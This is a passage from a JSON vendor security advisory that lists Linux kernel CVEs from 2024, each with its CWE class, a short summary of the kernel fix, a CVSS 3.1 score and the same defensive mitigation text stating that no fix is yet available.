            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35978"
    },
    {
      "cve": "CVE-2024-35982",
      "cwe": {
        "id": "CWE-835",
        "name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "batman-adv: Avoid infinite loop trying to resize local TT",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35982"
    },
    {
      "cve": "CVE-2024-35983",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bounds: Use the right number of bits for power-of-two CONFIG_NR_CPUS",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35983"
    },
    {
      "cve": "CVE-2024-35984",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "i2c: smbus: fix NULL function pointer dereference",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35984"
    },
    {
      "cve": "CVE-2024-35988",
      "cwe": {
        "id": "CWE-131",
        "name": "Incorrect Calculation of Buffer Size"
      },
      "notes": [
        {
          "category": "summary",
          "text": "riscv: Fix TASK_SIZE on 64-bit NOMMU. On NOMMU, userspace memory can come from anywhere in physical RAM. The current definition of TASK_SIZE is wrong if any RAM exists above 4G,\r\ncausing spurious failures in the userspace access routines.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35988"
    },
    {
      "cve": "CVE-2024-35990",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "dma: xilinx_dpdma: Fix locking",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35990"
    },
    {
      "cve": "CVE-2024-35996",
      "cwe": {
        "id": "CWE-655",
        "name": "Insufficient Psychological Acceptability"
      },
      "notes": [
        {
          "category": "summary",
          "text": "cpu: Re-enable CPU mitigations by default for !X86 architectures",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35996"
    },
    {
      "cve": "CVE-2024-35997",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "HID: i2c-hid: remove I2C_HID_READ_PENDING flag to prevent lock-up",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-35997"
    },
    {
      "cve": "CVE-2024-36004",
      "cwe": {
        "id": "CWE-404",
        "name": "Improper Resource Shutdown or Release"
      },
      "notes": [
        {
          "category": "summary",
          "text": "i40e: Do not use WQ_MEM_RECLAIM flag for workqueue",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36004"
    },
    {
      "cve": "CVE-2024-36005",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: nf_tables: honor table dormant flag from netdev release event path",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36005"
    },
    {
      "cve": "CVE-2024-36006",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmlxsw: spectrum_acl_tcam: Fix incorrect list API usage",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36006"
    },
    {
      "cve": "CVE-2024-36007",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nmlxsw: spectrum_acl_tcam: Fix warning during rehash\r\n\r\nAs previously explained, the rehash delayed work migrates filters from\r\none region to another. This is done by iterating over all chunks (all\r\nthe filters with the same priority) in the region and in each chunk\r\niterating over all the filters.\r\n\r\nWhen the work runs out of credits it stores the current chunk and entry\r\nas markers in the per-work context so that it would know where to resume\r\nthe migration from the next time the work is scheduled.\r\n\r\nUpon error, the chunk marker is reset to NULL, but without resetting the\r\nentry markers despite being relative to it. This can result in migration\r\nbeing resumed from an entry that does not belong to the chunk being\r\nmigrated. In turn, this will eventually lead to a chunk being iterated\r\nover as if it is an entry. Because of how the two structures happen to\r\nbe defined, this does not lead to KASAN splats, but to warnings such as.\r\n\r\nFix by creating a helper that resets all the markers and call it from\r\nall the places the currently only reset the chunk marker. For good\r\nmeasures also call it when starting a completely new rehash. Add a\r\nwarning to avoid future cases.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36007"
    },
    {
      "cve": "CVE-2024-36008",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\nipv4: check for NULL idev in ip_route_use_hint()\r\n\r\nsyzbot was able to trigger a NULL deref in fib_validate_source()\r\nin an old tree.\r\n\r\nIt appears the bug exists in latest trees.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36008"
    },
    {
      "cve": "CVE-2024-36020",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ni40e: fix vf may be used uninitialized in this function warning\r\n\r\nTo fix the regression introduced by commit 52424f974bc5, which causes\r\nservers hang in very hard to reproduce conditions with resets races.\r\nUsing two sources for the information is the root cause.\r\nIn this function before the fix bumping v didn\u0027t mean bumping vf\r\npointer. But the code used this variables interchangeably, so stale vf\r\ncould point to different/not intended vf.\r\n\r\nRemove redundant \"v\" variable and iterate via single VF pointer across\r\nwhole function instead to guarantee VF pointer validity.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36020"
    },
    {
      "cve": "CVE-2024-36270",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: tproxy: bail out if IP has been disabled on the device syzbot reports: general protection fault, probably for non-canonical address",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36270"
    },
    {
      "cve": "CVE-2024-36286",
      "cwe": {
        "id": "CWE-1287",
        "name": "Improper Validation of Specified Type of Input"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_queue: acquire rcu_read_lock() in instance_destroy_rcu().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36286"
    },
    {
      "cve": "CVE-2024-36288",
      "cwe": {
        "id": "CWE-119",
        "name": "Improper Restriction of Operations within the Bounds of a Memory Buffer"
      },
      "notes": [
        {
          "category": "summary",
          "text": "SUNRPC: Fix loop termination condition in gss_free_in_token_pages() The in_token-\u003epages[] array is not NULL terminated. This results in the following KASAN splat: KASAN: maybe wild-memory-access in range [0x04a2013400000008-0x04a201340000000f].",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36288"
    },
    {
      "cve": "CVE-2024-36484",
      "cwe": {
        "id": "CWE-99",
        "name": "Improper Control of Resource Identifiers (\u0027Resource Injection\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: net: relax socket state check at accept time.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36484"
    },
    {
      "cve": "CVE-2024-36489",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "tls: missing memory barrier in tls_init. In tls_init(), a write memory barrier is missing, and store-store reordering may cause NULL dereference in tls_{setsockopt,getsockopt}.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36489"
    },
    {
      "cve": "CVE-2024-36894",
      "cwe": {
        "id": "CWE-362",
        "name": "Concurrent Execution using Shared Resource with Improper Synchronization (\u0027Race Condition\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_fs: Fix race between aio_cancel() and AIO request complete",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36894"
    },
    {
      "cve": "CVE-2024-36899",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\r\n\r\ngpiolib: cdev: Fix use after free in lineinfo_changed_notify\r\n\r\nThe use-after-free issue occurs as follows: when the GPIO chip device file\r\nis being closed by invoking gpio_chrdev_release(), watched_lines is freed\r\nby bitmap_free(), but the unregistration of lineinfo_changed_nb notifier\r\nchain failed due to waiting write rwsem. Additionally, one of the GPIO\r\nchip\u0027s lines is also in the release process and holds the notifier chain\u0027s\r\nread rwsem. Consequently, a race condition leads to the use-after-free of\r\nwatched_lines.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.0,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36899"
    },
    {
      "cve": "CVE-2024-36902",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Vulnerability in Linux kernel: ipv6: fib6_rules: avoid possible NULL dereference in fib6_rule_action() syzbot is able to trigger the following crash [1], caused by unsafe ip6_dst_idev() use. Indeed ip6_dst_idev() can return NULL, and must always be checked.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36902"
    },
    {
      "cve": "CVE-2024-36904",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: tcp: Use refcount_inc_not_zero() in tcp_twsk_unique().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36904"
    },
    {
      "cve": "CVE-2024-36905",
      "cwe": {
        "id": "CWE-369",
        "name": "Divide By Zero"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: tcp: defer shutdown(SEND_SHUTDOWN) for TCP_SYN_RECV sockets.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36905"
    },
    {
      "cve": "CVE-2024-36916",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: blk-iocost: avoid out of bounds shift UBSAN catches undefined behavior in blk-iocost, where sometimes iocg-\u003edelay is shifted right by a number that is too large, resulting in undefined behavior on some architectures. [ 186.556576] ------------[ cut here ]------------ UBSAN: shift-out-of-bounds in block/blk-iocost.c:1366:23 shift exponent 64 is too large for 64-bit type \u0027u64\u0027 (aka \u0027unsigned long long\u0027) CPU: 16 PID: 0 Comm: swapper/16 Tainted: G S E N 6.9.0-0_fbk700_debug_rc2_kbuilder_0_gc85af715cac0 #1 Hardware name: Quanta Twin Lakes MP/Twin Lakes Passive MP, BIOS F09_3A23 12/08/2020 Call Trace: \u003cIRQ\u003e dump_stack_lvl+0x8f/0xe0 __ubsan_handle_shift_out_of_bounds+0x22c/0x280 iocg_kick_delay+0x30b/0x310 ioc_timer_fn+0x2fb/0x1f80 __run_timer_base+0x1b6/0x250 ... Avoid that undefined behavior by simply taking the \"delay = 0\" branch if the shift is too large. I am not sure what the symptoms of an undefined value delay will be, but I suspect it could be more than a little annoying to debug.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-36916"
    },
    {
      "cve": "CVE-2024-36929",
      "cwe": {
        "id": "CWE-237",
        "name": "Improper Handling of Structural Elements"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: net: core: reject skb_copy(_expand) for fraglist GSO skbs SKB_GSO_FRAGLIST skbs must not be linearized, otherwise they become invalid. Return NULL if such an skb is passed to skb_copy or skb_copy_expand, in order to prevent a crash on a potential later call to skb_gso_segment.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
